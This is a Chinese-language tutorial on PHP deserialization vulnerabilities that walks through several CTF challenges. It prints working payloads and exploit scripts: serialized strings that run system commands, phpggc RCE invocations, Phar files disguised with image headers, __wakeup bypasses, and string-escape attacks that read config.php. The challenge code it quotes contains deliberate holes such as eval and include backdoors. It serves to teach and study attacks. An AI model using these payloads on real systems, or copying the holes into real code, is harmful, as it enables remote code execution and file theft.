PHP 反序列化漏洞是一种应用程序级漏洞,它允许攻击者根据上下文执行不同类型的恶意攻击,例如代码注入、SQL 注入、路径遍历和应用程序拒绝服务。当用户提供的输入在传递给 unserialize() PHP 函数之前未正确清理时,就会发生此漏洞。由于 PHP 允许对象序列化,攻击者可以将临时序列化的字符串传递给易受攻击的 unserialize() 调用,从而导致任意 PHP 对象注入到应用程序范围中。
1.php如何序列化对象?
在 PHP 中,对象被序列化后生成的字符串结构与数组或其他数据类型的序列化结构类似,但包含了更多关于对象本身的信息,如类名和属性信息。以下是对象序列化后输出的字符串结构的详细说明:
示例对象
假设我们有一个简单的 PHP 对象:
class MyClass {
public $prop1 = 'value1';
protected $prop2 = 'value2';
private $prop3 = 'value3';
}
$obj = new MyClass();
$serialized_obj = serialize($obj);
echo $serialized_obj;
序列化后的字符串结构
对象序列化后的字符串结构如下:
O:<class_name_length>:"<class_name>":<property_count>:{<property_definitions>}
解释结构
O
:表示这是一个对象(O
stands for “Object”)。<class_name_length>
:类名的长度(不包括引号)。<class_name>
:对象所属类的名称。<property_count>
:对象属性的数量。<property_definitions>
:对象属性的序列化表示。
属性定义
对象属性的序列化定义包含属性的可见性和属性名。
-
公共属性 (
public
):s:<length>:"<property_name>";s:<value_length>:"<value>";
- 例如:
s:5:"prop1";s:6:"value1";
-
受保护属性 (
protected
):s:<length>:"*<property_name>";s:<value_length>:"<value>";
- 例如:
s:6:"*prop2";s:6:"value2";
-
私有属性 (
private
):s:<length>:"<class_name><property_name>";s:<value_length>:"<value>";
- 例如:
s:15:"MyClassprop3";s:6:"value3";
- 注意:私有属性的名称在序列化时会加上类名前缀,并用空字符分隔,以避免与其他类中同名属性冲突。
示例解释
对于上面的 MyClass
对象,序列化后的字符串如下所示:
O:7:"MyClass":3:{s:5:"prop1";s:6:"value1";s:6:"*prop2";s:6:"value2";s:15:"MyClassprop3";s:6:"value3";}
O:7:"MyClass":3:
:表示这是一个名为MyClass
的对象,类名长度为 7,且对象包含 3 个属性。{s:5:"prop1";s:6:"value1";...}
:包含对象的属性信息。
详细属性解释
-
公共属性
prop1
:s:5:"prop1";s:6:"value1";
- 该属性名
prop1
的长度为 5,值为value1
。
-
受保护属性
prop2
:s:6:"*prop2";s:6:"value2";
- 受保护属性
prop2
的名称前带有*
,长度为 6,值为value2
。
-
私有属性
prop3
:s:15:"MyClassprop3";s:6:"value3";
- 私有属性
prop3
的名称前带有类名MyClass
,并且名称和类名之间使用了空字符分隔(这在字符串中不可见,但在序列化过程中以特定方式处理),长度为 15,值为value3
。
什么是反序列化漏洞
易受攻击的代码1:
<?php
class PHPObjectInjection{
public $inject;
function __construct(){
}
function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
if(isset($_REQUEST['r'])){
$var1=unserialize($_REQUEST['r']);
if(is_array($var1)){
echo "<br/>".$var1[0]." - ".$var1[1];
}
}
else{
echo ""; # nothing happens here
}
?>
使用应用程序内部的现有代码制作有效载荷。
# 基本序列化数据
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
# 命令执行
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
易受攻击的代码2:
<?php
$data = unserialize($_COOKIE['auth']);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}
Payload:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
因为 true == "str"
为真。
对象注入
易受攻击的代码:
<?php
class ObjectExample
{
var $guess;
var $secretCode;
}
$obj = unserialize($_GET['input']);
if($obj) {
$obj->secretCode = rand(500000,999999);
if($obj->guess === $obj->secretCode) {
echo "Win";
}
}
?>
Payload:
O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}
我们可以像这样创建一个数组:
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
寻找利用链
也称为“PHP POP 链”,它们可用于在系统上获取 RCE。
- 在 PHP 源代码中,查找“unserialize()”函数。
- 有趣的 魔术方法,例如
__construct()
、__destruct()
、__call()
、__callStatic()
、__get()
、__set()
、__isset()
、__unset()
、__sleep()
、__wakeup()
、__serialize()
、__unserialize()
、__toString()
、__invoke()
、__set_state()
、__clone()
和__debugInfo()
以下是这些魔术方法的说明
__construct()
构造方法,在创建对象时自动调用。通常用于初始化对象的状态或执行必要的设置。
class MyClass {
public function __construct($name) {
$this->name = $name;
echo "Constructor called: " . $this->name . "\n";
}
}
$obj = new MyClass("John");
// 输出: Constructor called: John
__destruct()
析构方法,在对象销毁时自动调用。通常用于清理资源或执行一些收尾工作。
class MyClass {
public function __destruct() {
echo "Destructor called\n";
}
}
$obj = new MyClass();
// 程序结束时输出: Destructor called
__call()
在对象上下文中调用未定义或不可访问的方法时自动调用。用于实现动态方法调用。
class MyClass {
public function __call($name, $arguments) {
echo "Calling method '$name' with arguments: " . implode(', ', $arguments) . "\n";
}
}
$obj = new MyClass();
$obj->someMethod('arg1', 'arg2');
// 输出: Calling method 'someMethod' with arguments: arg1, arg2
__callStatic()
在静态上下文中调用未定义或不可访问的静态方法时自动调用。
class MyClass {
public static function __callStatic($name, $arguments) {
echo "Calling static method '$name' with arguments: " . implode(', ', $arguments) . "\n";
}
}
MyClass::someStaticMethod('arg1', 'arg2');
// 输出: Calling static method 'someStaticMethod' with arguments: arg1, arg2
__get()
在读取未定义或不可访问的属性时自动调用。用于控制对属性的访问。
class MyClass {
private $data = ['name' => 'John', 'age' => 30];
public function __get($name) {
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}
return null;
}
}
$obj = new MyClass();
echo $obj->name; // 输出: John
echo $obj->age; // 输出: 30
__set()
在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。
class MyClass {
private $data = [];
public function __set($name, $value) {
$this->data[$name] = $value;
}
}
$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John
__isset()
在调用 isset()
或 empty()
检查未定义或不可访问的属性时自动调用。
class MyClass {
private $data = ['name' => 'John'];
public function __isset($name) {
return isset($this->data[$name]);
}
}
$obj = new MyClass();
var_dump(isset($obj->name)); // 输出: bool(true)
var_dump(isset($obj->age)); // 输出: bool(false)
好的,接下来解释剩下的PHP魔术方法:
__unset()
在使用 unset()
删除未定义或不可访问的属性时自动调用。用于控制属性的删除操作。
class MyClass {
private $data = ['name' => 'John'];
public function __unset($name) {
if (isset($this->data[$name])) {
unset($this->data[$name]);
}
}
}
$obj = new MyClass();
unset($obj->name); // __unset() 被调用
__sleep()
在对象被 serialize()
序列化时自动调用。通常用于返回一个数组,包含需要序列化的属性。适合在序列化之前执行一些清理操作。
class MyClass {
private $name;
private $temp;
public function __construct($name) {
$this->name = $name;
$this->temp = "Temporary data";
}
public function __sleep() {
// 在序列化时只保留 'name'
return ['name'];
}
}
$obj = new MyClass('John');
$serialized = serialize($obj);
__wakeup()
在对象被 unserialize()
反序列化时自动调用。常用于重新初始化一些资源,例如数据库连接等。
class MyClass {
private $name;
public function __wakeup() {
// 反序列化后可以重新初始化某些属性或连接
$this->name = "Initialized after wakeup";
}
}
$obj = unserialize($serialized); // __wakeup() 被调用
__serialize()
在 PHP 7.4 引入,用于自定义对象序列化逻辑,返回包含对象状态的数组。取代 __sleep()
的更现代方法。
class MyClass {
private $name;
public function __serialize(): array {
return ['name' => $this->name];
}
}
$obj = new MyClass();
$serialized = serialize($obj); // __serialize() 被调用
__unserialize()
在 PHP 7.4 引入,用于自定义对象的反序列化逻辑。取代 __wakeup()
。
class MyClass {
private $name;
public function __unserialize(array $data): void {
$this->name = $data['name'];
}
}
$obj = unserialize($serialized); // __unserialize() 被调用
__toString()
在尝试将对象当作字符串使用时自动调用。例如当 echo
或 print
对象时。必须返回一个字符串。
class MyClass {
private $name;
public function __construct($name) {
$this->name = $name;
}
public function __toString() {
return "MyClass object with name: " . $this->name;
}
}
$obj = new MyClass('John');
echo $obj; // 输出: MyClass object with name: John
以下是 PHP 中剩下的几个魔术方法的解释:
__invoke()
当尝试将对象当作函数调用时自动执行。这个方法使对象可以像函数一样被调用。
class MyClass {
public function __invoke($arg) {
return "Object called as function with argument: " . $arg;
}
}
$obj = new MyClass();
echo $obj('Hello'); // 输出: Object called as function with argument: Hello
__set_state()
当使用 var_export()
导出类的静态代码表示时自动调用。它返回一个数组,用于重建对象的状态。
class MyClass {
public $name;
public function __construct($name) {
$this->name = $name;
}
public static function __set_state($an_array) {
$obj = new self($an_array['name']);
return $obj;
}
}
$obj = new MyClass('John');
eval('$restored = ' . var_export($obj, true) . ';');
// __set_state() 被调用,重建对象
__clone()
在使用 clone
关键字复制对象时自动调用。这个方法允许在对象克隆后自定义复制逻辑。
class MyClass {
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __clone() {
$this->name = "Cloned - " . $this->name;
}
}
$obj = new MyClass('John');
$clonedObj = clone $obj; // __clone() 被调用
echo $clonedObj->name; // 输出: Cloned - John
__debugInfo()
当使用 var_dump()
显示对象信息时自动调用。用于控制哪些属性将被输出到调试信息中。
class MyClass {
private $name;
private $secret;
public function __construct($name, $secret) {
$this->name = $name;
$this->secret = $secret;
}
public function __debugInfo() {
return [
'name' => $this->name, // 只输出 'name',隐藏 'secret'
];
}
}
$obj = new MyClass('John', 'secret_code');
var_dump($obj); // 只显示 'name' 属性
黑盒测试
ambionics/phpggc 是一个基于多个框架构建的生成有效负载的工具:
- Laravel
- Symfony
- SwiftMailer
- Monolog
- SlimPHP
- Doctrine
- Guzzle
phpggc monolog/rce1 'phpinfo();' -s
phpggc monolog/rce1 assert 'phpinfo()'
phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini
Phar 反序列化
使用 phar://
包装器,可以触发指定文件的反序列化,如 file_get_contents("phar://./archives/app.phar")
。
有效的 PHAR 包含四个元素:
- 存根:存根是一段 PHP 代码,在可执行上下文中访问文件时执行。存根的结尾至少必须包含
__HALT_COMPILER();
。否则,Phar 存根的内容没有任何限制。 - Manifest:包含有关存档及其内容的元数据。
- 文件内容:包含存档中的实际文件。
- 签名(可选):用于验证存档完整性。
- 创建 Phar 以利用自定义“PDFGenerator”的示例。
<?php
class PDFGenerator { }
//创建 Dummy 类的新实例并修改其属性
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //我们的有效载荷
// 删除具有该名称的任何现有 PHAR 存档
@unlink("poc.phar");
// 创建新存档
$poc = new Phar("poc.phar");
// 将所有写入操作添加到缓冲区,而不修改磁盘上的存档
$poc->startBuffering();
// 设置存根
$poc->setStub("<?php echo '这是 STUB!'; __HALT_COMPILER();");
/* 在存档中添加一个新文件,内容为“text”*/
$poc["file"] = "text";
// 将虚拟对象添加到元数据。这将被序列化
$poc->setMetadata($dummy);
// 停止缓冲并将更改写入磁盘
$poc->stopBuffering();
?>
- 使用
JPEG
魔法字节标头创建 Phar 的示例,因为存根的内容没有限制。
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// 创建新的 Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// 将任何类的对象添加为元数据
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
例题 DASCTF2022.07赋能赛Ez to getflag
file.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>
-
$filename = $_GET['f'];
:- 这一行从 URL 请求的
GET
参数中获取文件名,并将其赋值给变量$filename
。例如,如果 URL 是example.com/show.php?f=file.txt
,那么$filename
就会是file.txt
。 - 这里有潜在的安全风险,因为如果不进行适当的输入验证,用户可以通过传入恶意文件名来访问服务器上不应该公开的文件。
- 这一行从 URL 请求的
-
$show = new Show($filename);
:- 这里实例化了一个
Show
类,并将$filename
传递给它的构造函数(假设Show
类的构造函数接受文件名作为参数)。Show
类应该是在class.php
文件中定义的。 Show
类可能与文件显示或读取相关,具体功能取决于class.php
中的实现。
- 这里实例化了一个
-
$show->show();
:- 调用
Show
类中的show()
方法,实际上执行显示文件的操作。这个方法可能会读取并输出文件的内容到浏览器,或者以其他方式处理文件的展示。
- 调用
upload.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$upload = new Upload();
$upload->uploadfile();
?>
-
error_reporting(0);
: 关闭错误报告。这样做的目的是在页面上不显示任何 PHP 错误或警告信息。通常在生产环境中为了安全,避免暴露系统的内部信息,会关闭错误报告。 -
session_start();
: 开启 PHP 会话功能。这意味着服务器会创建或恢复一个用户的会话,允许在不同页面之间共享数据(如用户登录状态等)。 -
require_once('class.php');
: 这行代码引入并执行外部的 PHP 文件class.php
。require_once
确保该文件只被包含一次。如果这个文件不存在或者有问题,脚本会停止执行。通常,class.php
可能定义了一个类,比如处理文件上传的类Upload
。 -
$upload = new Upload();
: 创建一个Upload
类的实例,Upload
这个类是在class.php
文件中定义的 -
$upload->uploadfile();
: 调用Upload
类中的uploadfile()
方法
class.php
<?php
// Upload 类处理文件上传
class Upload {
public $f; // 存储上传的文件信息
public $fname; // 文件名
public $fsize; // 文件大小
// 构造函数,初始化上传文件信息
function __construct(){
$this->f = $_FILES;
}
// 保存文件到指定目录
function savefile() {
// 生成文件名,使用 MD5 哈希加上 .png 扩展名
$fname = md5($this->f["file"]["name"]).".png";
// 如果文件已存在,则删除旧文件
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
// 移动上传的临时文件到目标目录
move_uploaded_file($this->f["file"]["tmp_name"], "upload/" . $fname);
echo "upload success! :D";
}
// 将对象转换为字符串,尝试输出文件名和大小
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
// 上传文件处理
function uploadfile() {
// 先检查文件,然后保存
if($this->file_check()) {
$this->savefile();
}
}
// 检查文件类型和内容
function file_check() {
// 允许的文件扩展名
$allowed_types = array("png");
// 获取文件扩展名
$temp = explode(".", $this->f["file"]["name"]);
$extension = end($temp);
// 检查扩展名是否为空
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else {
// 检查文件扩展名是否在允许的类型中
if(in_array($extension, $allowed_types)) {
// 文件内容过滤,防止上传含有恶意代码的文件
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter, $f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
// Show 类用于展示图像
class Show {
public $source; // 图像来源
// 构造函数,初始化图像来源
public function __construct($fname) {
$this->source = $fname;
}
// 展示图像
public function show() {
// 检查文件名是否包含非法路径
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i', $this->source)) {
die('illegal fname :P');
} else {
// 输出文件内容,并将其作为 base64 编码的图像展示
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
// 处理对属性的访问
function __get($name) {
$this->ok($name);
}
// 处理对方法的调用
public function __call($name, $arguments) {
// 如果参数中包含 'phpinfo',则输出 PHP 配置信息
if(end($arguments) == 'phpinfo') {
phpinfo();
} else {
// 否则,调用 backdoor 方法
$this->backdoor(end($arguments));
}
return $name;
}
// 后门方法,包含文件并输出 'hacked!!'
public function backdoor($door) {
include($door);
echo "hacked!!";
}
// 处理对象反序列化时的操作
public function __wakeup() {
// 检查文件名是否包含非法路径
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
// Test 类用于测试
class Test {
public $str; // 测试字符串
// 构造函数,初始化测试字符串
public function __construct() {
$this->str = "It's works";
}
// 析构函数,输出测试字符串
public function __destruct() {
echo $this->str;
}
}
?>
Test.__destruct -> Upload.__toString -> Show.__get -> Show.__call -> Show.backdoor()
构造poc
<?php
class Upload {
public $f;
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$t = new Test();
$t->str = new Upload();
$t->str->fname = new Show('test');
$t->str->fsize = '/flag';
$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($t);
$phar->stopBuffering();
?>
上传phar文件在利用点传入伪协议触发即可
wake up绕过
&变量引用
在 PHP 中,&
符号用于引用。引用让你在多个变量之间共享同一个值的内存地址,而不是为每个变量分配新的内存空间。通过引用赋值,变量可以直接指向另一个变量的内容,改变其中一个变量的值会影响到所有引用的变量。
PHP 中 &
的主要用途
- 引用赋值 (
=&
) - 传引用(函数参数)
- 返回引用
1. 引用赋值
通过引用赋值,两个变量指向同一个内存位置,任何修改会影响到彼此。引用赋值使用 =&
。
示例:
<?php
$a = 5;
$b = &$a; // $b 是 $a 的引用
$b = 10;
echo $a; // 输出 10,因为 $b 和 $a 引用了同一个内存地址
?>
在这个例子中,$b
通过 &
引用 $a
,所以当你修改 $b
的值时,$a
的值也会被修改。
2. 传引用(函数参数)
默认情况下,PHP 函数传递参数时是按值传递,这意味着函数内部的参数只是传递值的副本,修改不会影响到原始值。通过引用传递参数,函数可以直接修改原始变量的值。
示例:
<?php
function increment(&$value) {
$value += 1;
}
$num = 5;
increment($num);
echo $num; // 输出 6,$num 被函数修改
?>
在这个例子中,$num
通过引用传递给 increment
函数,所以函数内部对 $value
的修改会影响到外部的 $num
。
3. 返回引用
你可以通过引用返回函数的结果,使调用者可以直接修改返回的值。
示例:
<?php
function &getValue() {
static $value = 10;
return $value;
}
$val = &getValue();
$val = 20;
echo getValue(); // 输出 20
?>
在这个例子中,getValue
函数返回了对 static $value
的引用,因此修改 $val
的值也会影响到 getValue
内部的 static $value
。
总结
- 引用赋值 (
=&
):多个变量指向同一个内存地址,改变一个变量会影响另一个变量。 - 传引用(函数参数):允许函数修改传入的原始变量,而不是其副本。
- 返回引用:函数返回引用时,允许直接操作返回的变量值。
如何利用&
来绕过wakeup?
[UUCTF 2022 新生赛]ez_unser
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
代码清空了a
但是如果我们链接b和a再把c修改,因为b与a的链接
$this->b=$this->c;
等价于
$this->a=$this->c;
<?php
class test{
public $a;
public $b;
public $c;
}
$pop=new test();
$pop->c="system('ls /');";
$pop->b=&$t->a;
echo serialize($pop);
?>
属性个数不匹配(cve-2016-7124)
影响范围:
PHP5 < 5.6.25
PHP7 < 7.0.10
序列化字符串中表示对象属性个数的值大于真实的属性个数时受影响版本wakeup()的执行会被跳过。
示例
class hack{
public $flag = 'flag{hack}';
public function __wakeup(){
exit('bad requests');
}
<?php
class hack{
public $flag = 'flag{hack}';
public function __wakeup(){
exit('bad requests');
}
}
$hack=new hack();
echo serialize($hack);
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
// 修改属性个数部分来利用漏洞
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
?>
利用垃圾回收异常
php的垃圾回收机制
PHP 的垃圾回收机制主要是为了管理和释放不再需要的内存资源,以确保在长时间运行的脚本中有效地回收内存。PHP 的内存管理主要依赖 引用计数 和 循环引用检测(Cycle Collection)。垃圾回收机制帮助处理那些引用计数无法解决的问题,例如循环引用。
1. 引用计数机制
PHP 的内存管理系统基于引用计数。每一个变量(对象、数组等)都有一个引用计数器,用来跟踪有多少个地方引用了这个变量。当引用计数减少为 0 时,PHP 认为这个变量不再被使用,并自动释放它占用的内存。
示例:
<?php
$a = "Hello"; // 引用计数为 1
$b = $a; // $a 和 $b 都指向同一个值,引用计数为 2
unset($a); // 引用计数减少到 1,内存未释放
unset($b); // 引用计数减少到 0,内存被释放
?>
在这个例子中,当 $a
和 $b
都不再引用同一个值时,PHP 会释放存储 "Hello"
的内存。
2. 循环引用问题
单靠引用计数并不能解决所有内存回收的问题,尤其是当多个对象互相引用,形成了“循环引用”时。由于这些对象的引用计数永远不会减少到 0,PHP 将无法释放这些对象的内存。
示例:
<?php
class A {
public $b;
}
class B {
public $a;
}
$a = new A();
$b = new B();
$a->b = $b; // A 引用 B
$b->a = $a; // B 引用 A
unset($a); // 尽管 $a 被 unset,但 A 和 B 仍相互引用,内存不会被释放
unset($b); // 同样地,内存仍然没有被释放
?>
在这种情况下,PHP 的引用计数机制无法释放 $a
和 $b
占用的内存,因为它们形成了循环引用。
3. 垃圾回收(GC)机制
为了处理循环引用,PHP 在 PHP 5.3 版本引入了垃圾回收机制(GC)。PHP 使用 分代垃圾回收算法 来检测并回收这些循环引用。
工作原理:
- 当 PHP 检测到变量或对象的引用计数不再改变时(如上面的循环引用),这些变量会被标记为“可能无法释放”。
- 垃圾回收器会通过扫描和标记这些变量来确定是否存在真正的循环引用。如果确认存在,垃圾回收器会清除这些循环引用的对象,并释放它们占用的内存。
分代算法:
PHP 的垃圾回收器使用三种颜色标记法进行分代检测:
- 根代:最年轻的代。新创建的变量或对象都会被放入这个代。
- 中代:当一个变量在根代存活一定时间后,移动到中代。
- 老代:长期存在的变量会被移到老代。如果变量进入老代,则可能不会频繁被检查。
PHP 的 GC 是如何运行的:
- 每当引用计数减少时,PHP 会增加一个计数器,记录需要垃圾回收的变量。
- 当这个计数器达到某个阈值(
gc_collect_cycles()
触发条件),垃圾回收机制就会启动,对这些变量进行循环引用检测。 - 如果找到循环引用的变量,垃圾回收器会回收它们并释放内存。
手动触发垃圾回收:
虽然 PHP 会自动管理垃圾回收,但开发者也可以通过以下函数手动触发:
gc_enable()
:启用垃圾回收(PHP 7.3 及以上版本默认启用)。gc_disable()
:禁用垃圾回收。gc_collect_cycles()
:手动触发垃圾回收。
示例:
<?php
gc_enable(); // 启用垃圾回收机制
$collected_cycles = gc_collect_cycles(); // 手动回收垃圾
echo "Collected $collected_cycles cycles.\n";
?>
4. 性能和调优
垃圾回收机制虽然有助于防止内存泄漏,但频繁的 GC 操作可能会影响性能。因此 PHP 提供了一些选项来调节垃圾回收机制的行为,例如:
gc_probability
和gc_divisor
:这些配置项控制垃圾回收器运行的概率。默认情况下,垃圾回收器在每次变量被 unset 时有 1/1000 的概率被触发。
总结
- PHP 使用引用计数来管理内存。
- 循环引用是引用计数无法处理的场景,垃圾回收器通过检测和回收循环引用的对象来解决这个问题。
- 开发者可以通过手动调用垃圾回收函数或调整配置来优化 PHP 应用程序的内存管理。
利用垃圾回收机制绕过
在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。
当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。
触发垃圾回收机制的方法有:(本质即使对象引用计数归零)
(1)对象被unset()处理时,可以触发。
(2)数组对象为NULL时,可以触发。
[Newstarctf week4] More Fast
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
poc
<?php
class Start{
public $errMsg;
}
class Pwn{
public $obj;
}
class Reverse{
public $func;
}
class Web{
public $func;
public $var;
}
class Crypto{
public $obj;
}
class Misc{
}
$a=new Start();
$b=new Crypto();
$c=new Reverse();
$d=new Pwn();
$e=new Web();
$a->errMsg=$b;
$b->obj=$c;
$c->func=$d;
$d->obj=$e;
$e->func='system';
$e->var="cat /f*";
$A=array($a,NULL);
echo serialize($A);
//正常payload:
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;N;}
//删除末尾花括号payload:
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;N;
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;N;}
不正确替换(waf)导致的反序列化逃逸
1 [0CTF 2016]piapiapia
先看漏洞点
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div></body>
</html>
<?php
}
?>
漏洞点在
$profile = unserialize($profile);
$photo = base64_encode(file_get_contents($profile['photo']));
文件读取了先前存储的被序列化后的内容
那么如何控制$profile['photo']
?
跟进show_profile
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
跟进filte
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
这里我们发现,如果把where替换为hacker会多一个字符,但这有什么用呢?
我们来看这段代码
<?php
$profile['phone'] = 'phone';
$profile['email'] = 'email';
$profile['nickname'] = 'nickname';
$profile['photo'] = 'photo';
echo(serialize($profile));
# a:4:{s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";s:8:"nickname";s:8:"nickname";s:5:"photo";s:5:"photo";}
如果我们构造
<?php
$profile['phone'] = 'phone';
$profile['email'] = 'email';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'photo';
echo(serialize($profile));
#a:4:{s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:5:"photo";}
在正常情况下,这没什么问题,但是在这道题目中where会被替换为hacker而多一个字符
{s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:5:"photo";}
{s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
成为了一个新的合法整体控制了photo的值
2 [GYCTF2020]Easyphp
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
